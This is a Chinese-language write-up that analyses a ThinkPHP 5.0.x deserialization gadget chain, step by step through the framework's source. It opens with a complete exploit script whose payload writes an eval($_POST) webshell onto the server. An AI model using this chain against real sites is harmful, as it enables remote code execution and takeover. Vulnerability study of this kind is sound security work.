重生之学习thinkphp5.0.x反序列化
前言
摸鱼两周,继续学习,审了一小段代码又不想审了,继续看thinkphp。
调用链分析
先给出exp吧,方便师傅们先理解
<?php
namespace think\process\pipes{
class Windows {
public $files=[];
}
}
namespace think\model{
class Pivot{
public $error;
public $parent;
public $append=['ch1e'=>'getError'];
}
}
namespace think\db{
class Query
{
public $model;
}
}
namespace think\console{
class Output
{
public $handle;
public $styles=['getAttr'];
}
}
namespace think\model\relation{
class HasOne{
public $query;
public $selfRelation=false;
public $bindAttr=['a'=>'ch1e'];
}
}
namespace think\session\driver{
class Memcached{
public $handler;
}
}
namespace think\cache\driver{
class File{
public $options = [
'path'=> 'php://filter/convert.iconv.utf-8.utf-7|convert.base64-decode/resource=aaaPD9waHAgQGV2YWwoJF9QT1NUWydjY2MnXSk7Pz4g/../a.php',
'cache_subdir'=>false,
'prefix'=>'',
'data_compress'=>false
];
public $tag=true;
}
}
namespace{
$file=new think\cache\driver\File();
$memcached=new think\session\driver\Memcached();
$output=new think\console\Output();
$query=new think\db\Query();
$hasone=new think\model\relation\HasOne();
$pivot=new think\model\Pivot();
$windows=new think\process\pipes\Windows();
$memcached->handler=$file;
$output->handle=$memcached;
$query->model=$output;
$hasone->query=$query;
$pivot->parent=$output;
$pivot->error=$hasone;
$windows->files[]=$pivot;
echo urlencode(serialize($windows));
}
这条链是从thinkphp/library/think/process/pipes/Windows.php
中的__destruct方法作为入口
public function __destruct()
{
$this->close();
$this->removeFiles();
}
调用了自身的close和removeFiles方法,进入removeFiles方法
private function removeFiles()
{
foreach ($this->files as $filename) {
if (file_exists($filename)) {
@unlink($filename);
}
}
$this->files = [];
}
这里在unlink之前,判断了$filename是否存在,这里可以触发__toString方法,具体触发的是thinkphp/library/think/Model.php
的toString方法,这里因为打这个下划线比较麻烦,我后面也都不打了。tostring方法如下
public function __toString()
{
return $this->toJson();
}
继续跟进,实际上是调用了toArray方法,给出关键代码
if (!empty($this->append)) {
foreach ($this->append as $key => $name) {
if (is_array($name)) {
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append($name)->toArray();
} elseif (strpos($name, '.')) {
list($key, $attr) = explode('.', $name);
// 追加关联对象属性
$relation = $this->getAttr($key);
$item[$key] = $relation->append([$attr])->toArray();
} else {
$relation = Loader::parseName($name, 1, false);
if (method_exists($this, $relation)) {
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
$item[$name] = $value;
} else {
$item[$name] = $this->getAttr($name);
}
}
}
}
我们的目的其实是要调用到$item[$key] = $value ? $value->getAttr($attr) : null;
这行代码,此时的value应该是一个think/console/Output
类,会触发他的call方法,但是这里需要先看执行到这行代码所需的条件
- isset(key])=false
- $bindAttr
- method_exists($modelRelation, 'getBindAttr')=true
- !empty($this->append)
此时的$value是output类的对象,那么要看看他是如何获得到这个对象。
$modelRelation = $this->$relation();
$value = $this->getRelationData($modelRelation);
value是通过这两行代码获取到的,getRelationData方法如下
protected function getRelationData(Relation $modelRelation)
{
if ($this->parent && !$modelRelation->isSelfRelation() && get_class($modelRelation->getModel()) == get_class($this->parent)) {
$value = $this->parent;
} else {
// 首先获取关联数据
if (method_exists($modelRelation, 'getRelation')) {
$value = $modelRelation->getRelation();
} else {
throw new BadMethodCallException('method not exists:' . get_class($modelRelation) . '-> getRelation');
}
}
return $value;
}
我们所需要的this->parent.但是如果进入这个if判断需要满足三个条件,$this->parent肯定是满足的。传入的$modelRelation必须是Relation类型,并且isSelfRelation()的结果为false,
modelRelation->getModel()的结果是一个output类的对象,也就是
$this->query->getModel()是一个output类的对象,这里就找到了
thinkphp/library/think/db/Query.php`,他存在一个getModel方法如下
public function getModel()
{
return $this->model;
}
所以只需要让HasOne类的query是query类,并且query类的model属性为output类,以及HasOne类的属性selfRelation为false即可。再来看一下$modelRelation = $this->$relation();
这里是获取的modelRelation,前面分析了modelRelation是通过自身的$relation方法获取到的,所以我们只需要找一个返回值可控的方法即可,自身存在着一个getError方法直接返回
public function getError()
{
return $this->error;
}
所以这一块就很清晰了,构造这个Model类,error属性是刚刚那个构造好的HasOne对象,并且$relation的值是getError。看完value怎么获取。来看看attr怎么获取
if (method_exists($modelRelation, 'getBindAttr')) {
$bindAttr = $modelRelation->getBindAttr();
if ($bindAttr) {
foreach ($bindAttr as $key => $attr) {
$key = is_numeric($key) ? $attr : $key;
if (isset($this->data[$key])) {
throw new Exception('bind attr has exists:' . $key);
} else {
$item[$key] = $value ? $value->getAttr($attr) : null;
}
}
continue;
}
}
attr是bindattr关联数组中的值。bindattr关联数组是通过调用getBindAttr获取,在HasOne对象中,他 是继承自OneToOne类,在OneToOne类中声明了getBindAttr方法,返回的是自身bindAttr属性值,所以可以进入第一个if判断,所以我们只需要在HasOne类中设置他的bindAttr属性值即可,这里具体设置什么值得后面再看,先继续往下走,应该是轮到调用thinkphp/library/think/console/Output.php
的call方法
public function __call($method, $args)
{
if (in_array($method, $this->styles)) {
array_unshift($args, $method);
return call_user_func_array([$this, 'block'], $args);
}
if ($this->handle && method_exists($this->handle, $method)) {
return call_user_func_array([$this->handle, $method], $args);
} else {
throw new Exception('method not exists:' . __CLASS__ . '->' . $method);
}
}
有两个if判断,分别都使用了call_user_func_array方法,如果走第一个if判断,就是调用的自身的block方法,所以这里的attr,但是在调用前把method插入到args最前面了,所以这里的style参数应该是getAttr,message才是数组里的值,继续跟进看看
protected function block($style, $message)
{
$this->writeln("<{$style}>{$message}</$style>");
}
调用了writeln,继续跟进
public function writeln($messages, $type = self::OUTPUT_NORMAL)
{
$this->write($messages, true, $type);
}
再跟进,此时的$messages应该是<getAttr>xxxx<getAttr>
,这里的xxx是在bindAttr中传入的
public function write($messages, $newline = false, $type = self::OUTPUT_NORMAL)
{
$this->handle->write($messages, $newline, $type);
}
发现是调用了handle属性的write方法,全局搜索write方法,在thinkphp/library/think/session/driver/Memcached.php
这个位置有个write方法
public function write($sessID, $sessData)
{
return $this->handler->set($this->config['session_name'] . $sessID, $sessData, $this->config['expire']);
}
他可以调用任意类的set方法,因为handler可控,继续搜索set方法,找到thinkphp/library/think/cache/driver/File.php
的set方法,具体如下
public function set($name, $value, $expire = null)
{
if (is_null($expire)) {
$expire = $this->options['expire'];
}
if ($expire instanceof \DateTime) {
$expire = $expire->getTimestamp() - time();
}
$filename = $this->getCacheKey($name, true);
if ($this->tag && !is_file($filename)) {
$first = true;
}
$data = serialize($value);
if ($this->options['data_compress'] && function_exists('gzcompress')) {
//数据压缩
$data = gzcompress($data, 3);
}
$data = "<?php\n//" . sprintf('%012d', $expire) . "\n exit();?>\n" . $data;
$result = file_put_contents($filename, $data);
if ($result) {
isset($first) && $this->setTagItem($filename);
clearstatcache();
return true;
} else {
return false;
}
}
他主要是个写入缓存的功能,存在一个file_put_contents写入文件,在上面说到,前面的$message应该是<getAttr>xxxx<getAttr>
,所以在传入到File类的set方法的第一个参数就是<getAttr>xxxx<getAttr>
,第二个参数是默认false,filename是通过 $filename = $this->getCacheKey($name, true);
获取,跟进getCacheKey方法
protected function getCacheKey($name, $auto = false)
{
$name = md5($name);
if ($this->options['cache_subdir']) {
// 使用子目录
$name = substr($name, 0, 2) . DS . substr($name, 2);
}
if ($this->options['prefix']) {
$name = $this->options['prefix'] . DS . $name;
}
$filename = $this->options['path'] . $name . '.php';
$dir = dirname($filename);
if ($auto && !is_dir($dir)) {
mkdir($dir, 0755, true);
}
return $filename;
}
this->options['path'].md5(data是不可控的, 因为他是序列化第二个参数的结果,前面说到了是默认是false的,所以只能继续看在set方法中调用的setTagItem方法
protected function setTagItem($name)
{
if ($this->tag) {
$key = 'tag_' . md5($this->tag);
$this->tag = null;
if ($this->has($key)) {
$value = explode(',', $this->get($key));
$value[] = $name;
$value = implode(',', array_unique($value));
} else {
$value = $name;
}
$this->set($key, $value, 0);
}
}
这里在最后又调用了自身的set方法,并且这里的key和value都可控,因为key是tag_md5($this->tag)
,value就是传进来的之前的filename。所以整条链子已经分析完了,但是这里还涉及到一个问题就是这个文件名的问题,具体可以见这个文章:https://xz.aliyun.com/t/7457
疑惑点
其实我是比较疑惑的就是在构造exp的时候,Model类为什么要换成他的子类Pivot呢,因为上面的exp是直接拿的别的师傅的,希望有知道的师傅能帮忙解答一下
参考
https://xz.aliyun.com/t/10364#toc-1